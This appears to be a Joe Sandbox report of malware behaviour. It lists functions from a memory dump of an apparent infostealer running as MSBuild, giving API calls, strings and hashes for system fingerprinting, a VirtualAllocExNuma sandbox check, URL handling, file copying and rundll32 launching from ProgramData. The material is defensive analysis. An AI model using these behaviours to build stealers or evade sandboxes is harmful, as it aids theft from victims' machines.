Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction ID: 0994ca530c552eb12484d48fed68a7c00db0df5c681817d2f603923d478d8980
Opcode Fuzzy Hash: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction Fuzzy Hash: B1114C75A0420ADFCB019FA4CC989EEBBB5AF49310F64417EF215E73A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

.dll, xrefs: 004129ED
C:\ProgramData\, xrefs: 00412995
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
"" , xrefs: 00412A32

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction ID: cfd5adc8c7fec37571e4615a2d659ce623d81488d817e1095ce6785adf6647ed
Opcode Fuzzy Hash: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction Fuzzy Hash: 1A11B971A0011CABCB10EB65DC45FCD7378AB14704F0000A6B645E7191DAB89FC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction ID: d79e8d54b07d2f615201cd360c868d95b9dac01f4be2040cf9acff1c057e51b0
Opcode Fuzzy Hash: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction Fuzzy Hash: F201A9B1E00218BBEB08DFB4DC45EEFB7B9EF08705F04006AF602D7290EA7599818758

Function 6CBBC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CBBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CBBC969
GetSystemInfo.KERNEL32(?), ref: 6CBBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CBBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CBBC9E2

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 47833d5ae7ed11c1c2a9c30ed31bd3e605327edcf763f9b965c0d30645337190
Instruction ID: afee1c684ab2f0d4ea8c850ee418dbab427634a1a92508f477e706864680dfd1
Opcode Fuzzy Hash: 47833d5ae7ed11c1c2a9c30ed31bd3e605327edcf763f9b965c0d30645337190
Instruction Fuzzy Hash: 2421F9317516186BEB15EE64CC84BBE73B9EB46704F60011EF947B7A40DF706C048791

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416ED6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416EDD
lstrlenA.KERNEL32(?,0000001C), ref: 00416EE8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416F6C

Strings

ERROR, xrefs: 00416F64

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction ID: 206493d018c0af61ad3247b9a1edf73ec3ff293b71de332acb6c3f6d1aa8c941
Opcode Fuzzy Hash: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction Fuzzy Hash: 5711B131900209AFCB40FF75D9026DCBBB1BF04308B80413AE814E3191D739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
